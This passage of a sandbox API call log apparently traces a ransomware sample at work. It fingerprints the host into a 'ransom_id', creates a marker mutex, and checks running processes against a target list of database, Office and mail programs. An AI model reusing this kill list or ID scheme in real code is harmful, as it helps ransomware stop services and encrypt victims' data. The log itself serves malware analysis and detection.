lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x2b37de, lpcbData=0x19fcb4*=0x80 | out: lpType=0x0, lpData=0x2b37de*=0x49, lpcbData=0x19fcb4*=0x4a) returned 0x0 [0121.629] RegCloseKey (hKey=0x174) returned 0x0 [0121.629] wsprintfW (in: param_1=0x2b2d78, param_2="%d" | out: param_1="-758493713") returned 10 [0121.629] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0121.629] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77460000 [0121.630] GetProcAddress (hModule=0x77460000, lpProcName="RtlComputeCrc32") returned 0x77486b10 [0121.630] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0121.630] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x2b2d78, Length=0xae) returned 0xdce1bb8b [0121.630] lstrlenW (lpString="WORKGROUP") returned 9 [0121.630] lstrlenW (lpString="pc_group") returned 8 [0121.630] VirtualAlloc (lpAddress=0x0, dwSize=0x94, flAllocationType=0x3000, flProtect=0x40) returned 0x230000 [0121.630] lstrcpyW (in: lpString1=0x230000, lpString2="Global\\" | out: lpString1="Global\\") returned="Global\\" [0121.630] lstrlenW (lpString="Global\\") returned 7 [0121.630] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group" [0121.630] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group=" [0121.630] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP" [0121.630] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&" [0121.630] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x240000 [0121.630] wsprintfW (in: param_1=0x240000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0121.630] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id" [0121.630] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id=" [0121.630] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def" [0121.630] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&" [0121.630] VirtualFree (lpAddress=0x240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.630] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46 [0121.630] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned 0x174 [0121.630] GetLastError () returned 0x0 [0121.630] GetLastError () returned 0x0 [0121.630] VirtualFree (lpAddress=0x230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402d5c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178 [0121.631] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0x1388) returned 0x102 [0126.636] TerminateThread (hThread=0x178, dwExitCode=0x0) returned 1 [0126.643] CloseHandle (hObject=0x178) returned 1 [0126.643] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0126.645] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0x230000 [0126.646] Process32FirstW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.646] lstrcmpiW (lpString1="msftesql.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="sqlagent.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="sqlservr.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="oracle.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="ocssd.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="synctime.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="ocomm.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="mysqld.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="dbeng50.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="excel.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="infopath.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="msaccess.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="mspub.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="onenote.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="outlook.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="powerpnt.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="steam.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="sqlservr.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="thebat.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="thebat64.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="thunderbird.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="visio.exe", lpString2="[System Process]") returned 1 [0126.646] lstrcmpiW (lpString1="winword.exe", lpString2="[System Process]") returned 1 [0126.647] lstrcmpiW (lpString1="wordpad.exe", lpString2="[System Process]") returned 1 [0126.647] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x67, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0126.647] lstrcmpiW (lpString1="msftesql.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="sqlagent.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="oracle.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="ocssd.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="synctime.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="System") returned 1 [0126.647] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="System") returned 1 [0126.647] lstrcmpiW (lpString1="ocomm.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="dbeng50.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="excel.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="infopath.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="msaccess.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="mspub.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="onenote.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="powerpnt.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="steam.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0126.647] lstrcmpiW (lpString1="thebat.exe", lpString2="System") returned 1 [0126.647] lstrcmpiW (lpString1="thebat64.exe", lpString2="System") returned 1 [0126.647] lstrcmpiW (lpString1="thunderbird.exe", lpString2="System") returned 1 [0126.647] lstrcmpiW (lpString1="visio.exe", lpString2="System") returned 1 [0126.647] lstrcmpiW (lpString1="winword.exe", lpString2="System") returned 1 [0126.647] lstrcmpiW (lpString1="wordpad.exe", lpString2="System") returned 1 [0126.648] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0126.648] lstrcmpiW (lpString1="msftesql.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="sqlagent.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="oracle.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="ocssd.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="synctime.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="ocomm.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="dbeng50.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="excel.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="infopath.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="msaccess.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="mspub.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="onenote.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="powerpnt.exe", lpString2="smss.exe") returned -1 [0126.648] lstrcmpiW (lpString1="steam.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="thebat.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="thebat64.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="thunderbird.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="visio.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="winword.exe", lpString2="smss.exe") returned 1 [0126.648] lstrcmpiW (lpString1="wordpad.exe", lpString2="smss.exe") returned 1 [0126.648] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.649] lstrcmpiW (lpString1="msftesql.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="sqlagent.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="oracle.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="ocssd.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="synctime.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="csrss.exe") returned -1 [0126.649] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="csrss.exe") returned -1 [0126.649] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="csrss.exe") returned -1 [0126.649] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="ocomm.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="dbeng50.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="excel.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="infopath.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="msaccess.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="mspub.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="onenote.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="powerpnt.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="steam.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="thebat.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="thebat64.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="thunderbird.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="visio.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="winword.exe", lpString2="csrss.exe") returned 1 [0126.649] lstrcmpiW (lpString1="wordpad.exe", lpString2="csrss.exe") returned 1 [0126.649] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0126.650] lstrcmpiW (lpString1="msftesql.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="sqlagent.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="oracle.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="ocssd.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="synctime.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="wininit.exe") returned 1 [0126.650] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="ocomm.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="dbeng50.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="excel.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="infopath.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="msaccess.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="mspub.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="onenote.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="powerpnt.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="steam.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="thebat.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="thebat64.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="thunderbird.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="visio.exe", lpString2="wininit.exe") returned -1 [0126.650] lstrcmpiW (lpString1="winword.exe", lpString2="wininit.exe") returned 1 [0126.650] lstrcmpiW (lpString1="wordpad.exe", lpString2="wininit.exe") returned 1 [0126.650] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.651] lstrcmpiW (lpString1="msftesql.exe", lpString2="csrss.exe") returned 1 [0126.651] lstrcmpiW (lpString1="sqlagent.exe", lpString2="csrss.exe") returned 1 [0126.651] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="oracle.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="ocssd.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="synctime.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="csrss.exe") returned -1 [0126.659] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="csrss.exe") returned -1 [0126.659] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="csrss.exe") returned -1 [0126.659] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="ocomm.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="dbeng50.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="excel.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="infopath.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="msaccess.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="mspub.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="onenote.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="powerpnt.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="steam.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="thebat.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="thebat64.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="thunderbird.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="visio.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="winword.exe", lpString2="csrss.exe") returned 1 [0126.659] lstrcmpiW (lpString1="wordpad.exe", lpString2="csrss.exe") returned 1 [0126.659] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0126.660] lstrcmpiW (lpString1="msftesql.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="sqlagent.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="oracle.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="ocssd.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="synctime.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="winlogon.exe") returned 1 [0126.660] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="winlogon.exe") returned -1 [0126.660] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="winlogon.exe") returned -1 [0126.660] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0126.661] Process32NextW (in: 